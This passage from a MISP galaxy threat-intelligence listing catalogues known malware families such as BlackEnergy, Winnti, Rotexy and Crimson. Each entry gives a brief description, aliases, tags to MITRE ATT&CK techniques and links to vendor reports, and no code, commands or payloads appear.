uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
pngdowner - S0067
[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-malware="pngdowner - S0067"
pngdowner - S0067 is also known as:
-
pngdowner
pngdowner - S0067 has relationships with:
-
similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
ZLib - S0086
[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)
The tag is: misp-galaxy:mitre-malware="ZLib - S0086"
ZLib - S0086 is also known as:
-
ZLib
ZLib - S0086 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
httpclient - S0068
[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-malware="httpclient - S0068"
httpclient - S0068 is also known as:
-
httpclient
httpclient - S0068 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
BLACKCOFFEE - S0069
[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"
BLACKCOFFEE - S0069 is also known as:
-
BLACKCOFFEE
BLACKCOFFEE - S0069 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
Links |
CallMe - S0077
[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)
The tag is: misp-galaxy:mitre-malware="CallMe - S0077"
CallMe - S0077 is also known as:
-
CallMe
CallMe - S0077 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
Psylo - S0078
[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)
The tag is: misp-galaxy:mitre-malware="Psylo - S0078"
Psylo - S0078 is also known as:
-
Psylo
Psylo - S0078 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
Links |
MobileOrder - S0079
[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)
The tag is: misp-galaxy:mitre-malware="MobileOrder - S0079"
MobileOrder - S0079 is also known as:
-
MobileOrder
MobileOrder - S0079 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
Kasidet - S0088
[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)
The tag is: misp-galaxy:mitre-malware="Kasidet - S0088"
Kasidet - S0088 is also known as:
-
Kasidet
Kasidet - S0088 has relationships with:
-
similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Links |
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html |
BlackEnergy - S0089
[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
The tag is: misp-galaxy:mitre-malware="BlackEnergy - S0089"
BlackEnergy - S0089 is also known as:
-
BlackEnergy
-
Black Energy
BlackEnergy - S0089 has relationships with:
-
similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf |
H1N1 - S0132
[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)
The tag is: misp-galaxy:mitre-malware="H1N1 - S0132"
H1N1 - S0132 is also known as:
-
H1N1
H1N1 - S0132 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities |
ROCKBOOT - S0112
[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)
The tag is: misp-galaxy:mitre-malware="ROCKBOOT - S0112"
ROCKBOOT - S0112 is also known as:
-
ROCKBOOT
ROCKBOOT - S0112 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html |
Linfo - S0211
[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)
The tag is: misp-galaxy:mitre-malware="Linfo - S0211"
Linfo - S0211 is also known as:
-
Linfo
Linfo - S0211 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99 |
TINYTYPHON - S0131
[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)
The tag is: misp-galaxy:mitre-malware="TINYTYPHON - S0131"
TINYTYPHON - S0131 is also known as:
-
TINYTYPHON
TINYTYPHON - S0131 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
Prikormka - S0113
[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)
The tag is: misp-galaxy:mitre-malware="Prikormka - S0113"
Prikormka - S0113 is also known as:
-
Prikormka
Prikormka - S0113 has relationships with:
-
similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
YiSpecter - S0311
[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)
The tag is: misp-galaxy:mitre-malware="YiSpecter - S0311"
YiSpecter - S0311 is also known as:
-
YiSpecter
YiSpecter - S0311 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
BOOTRASH - S0114
[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)
The tag is: misp-galaxy:mitre-malware="BOOTRASH - S0114"
BOOTRASH - S0114 is also known as:
-
BOOTRASH
BOOTRASH - S0114 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf |
Rotexy - S0411
[Rotexy](https://attack.mitre.org/software/S0411) is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.(Citation: securelist rotexy 2018)
The tag is: misp-galaxy:mitre-malware="Rotexy - S0411"
Rotexy - S0411 is also known as:
-
Rotexy
Rotexy - S0411 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/ |
Winnti - S0141
[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)
The tag is: misp-galaxy:mitre-malware="Winnti - S0141"
Winnti - S0141 is also known as:
-
Winnti
Winnti - S0141 has relationships with:
-
similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf |
HALFBAKED - S0151
[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)
The tag is: misp-galaxy:mitre-malware="HALFBAKED - S0151"
HALFBAKED - S0151 is also known as:
-
HALFBAKED
HALFBAKED - S0151 has relationships with:
-
similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
Crimson - S0115
[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)
The tag is: misp-galaxy:mitre-malware="Crimson - S0115"
Crimson - S0115 is also known as:
-
Crimson
-
MSIL/Crimson
Crimson - S0115 has relationships with:
-
similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
Links |
XAgentOSX - S0161
[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)
The tag is: misp-galaxy:mitre-malware="XAgentOSX - S0161"
XAgentOSX - S0161 is also known as:
-
XAgentOSX
-
OSX.Sofacy
